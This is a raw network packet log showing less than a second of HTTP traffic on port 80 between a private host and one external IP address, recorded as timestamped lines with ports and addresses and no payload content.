Nov 30, 2024 05:00:23.055625916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.056504011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.056521893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.056587934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.057410002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.057533026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.058043003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.058360100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.058481932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.059309959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.059369087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.059415102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.059458971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.060250998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.060400963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.061223984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.061271906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.061322927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.061368942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.062170029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.062262058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.062313080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.063101053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.063225985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.064064980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.064119101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.064173937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.064219952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.065031052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.065155983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.065958023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.065973997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.066066980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.066899061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.066952944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.067004919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.067048073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.067876101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.067986965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.068800926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.068857908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.068913937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.068958998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.069750071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.069871902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.070010900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.070698977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.070822954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.071053982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.071651936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.071765900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.072611094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.072660923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.072748899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.072792053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.073554039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.073606968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.074075937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.074492931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.074620008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.075442076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.075488091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.075540066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.075581074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.076400042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.076517105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.077343941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.077393055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.077447891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.077490091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.078294992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.078419924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.078473091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.079256058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.079369068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.080204964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.080252886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.080310106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.080355883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.081152916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.081280947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.081934929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.082084894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.082205057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.083048105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.083096981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.083197117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.083242893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.084023952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.084122896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.084937096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.084986925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.085036039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.085078955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.085882902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.085947037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.086047888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.086842060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.086930990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.087785959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.087836027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.087866068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.087909937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.088790894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.088900089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.089701891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.089750051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.089888096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.089931965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.090671062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.090754032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.090806007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.091654062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.091691971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.091964006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.092607021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.123012066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.123071909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.123109102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.123456001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.123581886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.123581886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.124403954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.124466896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.124528885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.125380039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.125483990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.125484943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.126517057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.126563072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.126581907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.127259970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.127310038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.127357960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.128216028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.128263950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.128314972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.250528097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.250663996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.250745058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.251032114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.251156092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.251812935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.251990080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.252048016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.252094030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.252934933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.253035069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.253895044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.253953934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.254020929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.254065037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.254817963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.254933119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.255003929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.255769968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.255887032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.256722927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.256783962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.256828070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.256874084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.257658005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.257767916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.257998943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.258650064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.258771896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.259598970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.259656906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.259710073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.259763002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.260535955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.260668039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.261466980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.261528969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.261579990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.261626005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.262433052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.262548923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.262609005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.263377905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.263495922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.264322042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.264381886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.264430046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.264477015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.265265942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.265378952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.265970945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.266211033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.266328096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.267167091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.267221928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.267273903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.267328024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.268124104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.268244982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.269054890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.269128084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.269185066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.269239902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.270003080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.270113945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.270222902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.270948887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.271095037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.271898031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.271960974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.272007942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.272058010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.272834063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.272958994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.273785114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.273843050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.273904085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.274772882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.274832010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.274868011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.274909019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.275702953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.275784969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.275829077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.276663065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.276765108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.277587891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.277662039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.277690887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.277729034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.278532982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.278665066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.278712988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.279500008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.279608965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.280436993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.280482054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.280534983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.280575991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.281390905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.281510115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.281929970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.282337904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.282443047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.283269882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.283328056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.283380032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.283421040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.284234047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.284431934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.285173893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.285237074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.285295963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.285345078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.286128044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.286274910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.287079096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.287130117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.287180901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.287225962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.288019896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.288139105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.288985014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.289028883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.289081097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.289124012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.289931059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.290043116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.290095091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.290868998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.290991068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.291830063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.291887999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.291960955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.292004108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.292772055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.292885065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.293694019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.293747902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.324228048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.324291945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.324378967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.324717045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.324840069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.324898958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.325645924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.325700045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.325757980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.326605082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.326693058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.326747894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.327548027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.327605009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.327656984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.328491926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.328578949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.328666925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.329472065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.329525948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.329544067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.383615017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.451772928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.451890945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.452115059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.452244043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.452339888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.453198910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.453262091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.453311920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.453356028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.454178095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.454299927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.454356909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.455107927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.455202103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.456033945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.456084967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.456154108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.456197023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.456990957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.457117081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.457940102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.458013058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.458060026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.458884954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.458940983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.458997011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.459043980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.459841967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.459959984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.460803032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.460872889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.460927010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.460987091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.461740971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.461857080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.461925983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.462732077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.462815046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.462862968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.463630915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.463762045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.464592934 CET	80	49732	141.8.197.146	192.168.2.4
